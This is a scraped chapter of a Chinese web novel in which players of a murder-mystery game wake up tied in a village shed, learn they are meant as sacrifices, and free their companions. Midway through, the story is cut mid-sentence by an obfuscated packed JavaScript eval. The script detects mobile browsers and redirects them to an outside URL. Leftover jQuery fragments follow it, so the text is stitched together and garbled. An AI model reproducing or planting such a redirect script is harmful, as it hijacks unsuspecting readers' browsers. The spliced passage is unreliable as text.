23. 盲婚2

作品:《在剧本杀游戏拿好身份牌

    “罗竹月,醒一醒。”


    陶婵退后几步,蹲下神来推了推罗竹月。


    对方眉心紧锁,睡得并不安稳。


    没一会儿,就在她的动作下睁开了眼。


    “这是……怎么了?”


    她试着动了动,却发现自己双手都被捆住,整个人以一种别扭的姿势躺着,浑身僵硬。


    陶婵拿着刚刚找到的石头,不断的摩擦着她手腕上的绳索。


    等到罗竹月重获自由时,陶婵已经累的出了一身汗。


    一阵阴冷的风吹过,两人都打了个寒颤。


    “能站起来吗?”陶婵哑着嗓子,声音很沉,她不太习惯的皱了皱眉。


    罗竹月试了一下,摇了摇头:“我的腿好像不太对劲。”


    陶婵伸手按了几下:“麻了?”


    罗竹月又感受了一下,摇头:“好像没有知觉了。”


    她表现的有些惊恐,她检查着自己的身体,最终只能徒劳的靠坐着:“这到底是怎么回事?”


    陶婵拍了拍她的肩膀,刚想说些什么,就听到门口有人走动的声音,忙做了个噤声的手势,屏息听着。


    “这次守护女的人选,只能从村里选吗?我带回来那两个不能用?”是一个男人的声音,听着有些熟悉。


    陶婵无生做了个口型:“是朱至。”


    “还是用村里人比较保险。但是有备无患吧。现在祭品不好找,可以留着以后再用。”


    这次说话的是个比较苍老的声音,朱至似乎很听他的话,语气里都带着恭敬。“那,那几个男人呢?要怎么处理?”


    “先关起来,我已经联系了那边,他们的人大概今天就能到了。”


    朱至应了一声:“好,那我去村口守着。”


    他们又说了一会儿话。临走时,朱至还朝着屋里看了一眼,好在陶婵和罗竹月闭眼装睡,才躲过一劫。


    陶婵搞清楚他们现在的处境,觉得有些不妙。


    “原来守护女是这个村子的祭品。而且只要是女性,无论是村里人还是村外人,都有被选中的风险。”


    陶婵觉得哪里不对劲,朱至不是玩家吗?为什么要把他们骗到这里来?


    难道他是凶手,想一网打尽其余玩家?那他是怎么说服阮石做他的帮凶的呢?


    许多疑问纷至沓来,陶婵觉得有些头大。


    “祭品……那是不是会死?”罗竹月有些害怕,身边只有陶婵一人,下意识将对方当成了主心骨。


    “是谁选?怎么选?我们都还不知道。这次游戏很不一样,要小心。”陶婵眉心紧锁,又按了按罗竹月的腿,“真的没知觉吗?我们得先找到谢嘉望他们,确认一下,阮石到底和朱至是不是一伙的。”


    罗竹月感受了下,慢慢曲起左腿:“好像左边能动,右腿不行。”


    她哭丧个脸:“我瘸了吗?”


    陶婵叹了口气:“我先找找有没有出口。”


    还好这个小屋看起来是用茅草堆积起来的,看起来应该是养牲畜用的,临时用来关她们俩了。


    门外有个门栓。


    陶婵从缝隙中探出一只手,费力地摸去。


    缝隙太小,挤压的她手腕都红了一片,但好在,她顺利摸到了门栓。


    接下来,只要拨开它……


    “成了!”


    罗竹月一瘸一拐的走过来,看到掉落吗门栓,忍不住惊呼道。


    陶婵看了眼被划破的手臂,没说什么。


    罗竹月给她展示,虽然右腿没什么知觉,但是单靠左腿,她还是能稍微动一动的。


    她借住陶婵的手稳住身形:“我们先去哪儿?”


    “先看看旁边吧,左右两侧看起来是一样的屋子,他们说不定就在这儿。”


    陶婵回头看了一眼,脱下身上的外套,对罗竹月说:“外套给我,做些伪装,万一他回来了,说不定可以拖延时间。”


    罗竹月有心不情愿:“好冷啊这里。”


    但陶婵坚持,她还是乖乖的脱下了外套。


    两条手臂暴露在空气中,有些凉嗖嗖的。


    陶婵将两件外套放在了二人躺过的地方,又找来一些干草,放在衣服里面,撑出一个人形的形状。


    做完这一切后,陶婵又将门掩上,放好门栓,趁着夜色看进去,竟和还有人差不太多。


    陶婵搀扶着罗竹月,二人走了半圈,在一处同样的屋子里,找到了谢嘉望,对方还昏睡着。


    陶婵和罗竹月对视了一眼,开门后将人叫醒。


    谢嘉望醒来时一脸茫然,有些蒙圈的跟着她们。


    接着她们打算如法炮制,又伪造出一个人的形状,于是陶婵看着他,言简意赅:“脱衣服!”


    “啊?”


    见谢嘉望不太理解,动作都很迟缓,陶婵干脆上手,连拉带扯的将他的外套扒了下来,仔细看看,好像还是个品牌的衣服。


    罗竹月就那么看着他们俩,表情意味深长。


    等到终于准备动身离开,罗竹月才开口问:“现在呢?还找阮石吗?”


    罗竹月一瘸一拐的,动作起来不是很方便,但干脆任由陶婵搀扶着。


    “不了,刚刚听他们说,祭祀仪式快开始了,应该有不少人要来。我们想办法混进去。”


    “等下,谁来跟我解释一下?发生了什么?”谢嘉望默默收回,想要抓住什么,却被罗竹月推开的手,诚心发问。


    “简单来说,就是我们被朱至坑了,现在我和罗竹月是这场仪式的祭品。”


    陶婵抽空看了他一眼,确保他没什么问题,还是自己所熟悉的那个人,继续说道:“至于你,听他们的意思,大概是已经被找好了买家。”


    罗竹月忍不住笑,也打趣道:“是啊,你这种帅哥也很吃香的,不愁没有市场。”


    谢嘉望听她们说,发胀的大脑终于运转起来,一下子就抓住了最紧迫的重点:“那你们还要参加仪式?”


    “未知是最可怕的,直面才有机会了解真相。再说,不过是个身份,我们都是玩家,系统不会轻易设置必死的局面。”


    在她说话的间隙,谢嘉望翻看了下自己的系统面板,脸色终于沉重起来:“游戏已经开始了,但是玩家究竟都有谁,我们还没搞清楚。”


    “是,这一局游戏里,玩家身份是隐藏的。”陶婵叹了口气,找到一个角落里的房间,示意罗竹月先进去。


    接着,她有些疑惑的转过身来,看向谢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200603|164691||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    嘉望:“从刚刚起,你你走路的方式就很奇怪,你的身体我的出问题了吗?”


    “也?”谢嘉望偏了下头。


    陶婵终于透过火光看清楚他的脸色,只见他目光发直,似乎没有焦点。


    仔细看,似乎有一层白蒙蒙覆盖在瞳孔上。


    陶婵倒吸一口气,吃惊道:“你的眼睛……你看不见了?”


    谢嘉望点了下头:“听声音,你是嗓子出了问题,那位呢?”


    “我靠!”罗竹月惊叫出声,单脚蹦着就窜了出来,抱着陶婵手臂不肯撒手:“里面有人。”


    谢嘉望沉默半晌:“好吧,我大概知道了。”


    陶婵有些无言,问她:“什么人?”


    罗竹月摇摇头:“不认识,但好像是个女的,头发很长。”


    恰好这时远处传来一队人熙熙攘攘的声音。


    “算了,先藏起来再说。”


    陶婵干脆拉住谢嘉望的手,将人带了进来。


    在狭小昏暗的房间里,冷风从门缝中灌进来,有些冷。


    谢嘉望感受到对方似乎也是丢了外套,手心冰凉,心思微动,忍不住靠近了几分。


    陶婵看他一眼:“怎么了?”


    谢嘉望表情无辜:“有点冷,挨得近点暖和。”


    陶婵不疑有他,继续观察着。


    黑暗深处,果然蹲坐着一个披头散发的人,机械地在原地画些什么。


    但光线太暗,她看不清。


    “你是……盲村里的人吗?”


    对方听到“盲存”二字,手里的动作顿了下。然后用手分开额前脏污的头发,露出一双漆黑的眼睛。


    那双眼睛滴溜溜的转,看的人发毛。


    许久之后,陶婵才听到对方轻飘飘的声音传来:“你们……是玩家吧?”


    ?!


    三人都很震惊。


    这个人,看起来在这里被关了很久了,怎么会知道他们的身份?难道她也是玩家?


    陶婵试探地问:“你也是?”


    对方动了动,脚腕上的铁链叮当作响,她阴恻恻地笑出声,随着动作,露出身前写着的东西。


    是一排排整齐的“正”字。


    陶婵粗粗看了一眼,心里计算出了一个数字:28。


    这是什么意思?


    但她没时间去想,外面很多人走近了。


    进来的这些人里,有很多穿着朴素,大约是村里的村民。


    有几个抱着孩子的妇女,每个人脚腕都有一小段铁链,她们神色麻木。


    还有一些男人,下流的目光落在那些妇人身上,似乎在盘算着什么。


    队伍为首的是一个老人,两鬓斑白,看起来很有威严。


    “祭祀仪式马上就要开始,你们都给我收回那副样子!”老人重重的敲了敲手下的拐杖,陶婵从声音听出,他是刚刚和朱至交谈的村长。


    说来也奇怪,朱至说是去村口接人,但直到现在也不见人影。


    “朱至呢?他们还没到吗?”村长问。


    “没有呢,说是山下下大雨了,中间的路太滑,他们上不来。”


    “他们?”


    这个“他们?”指的到底是谁?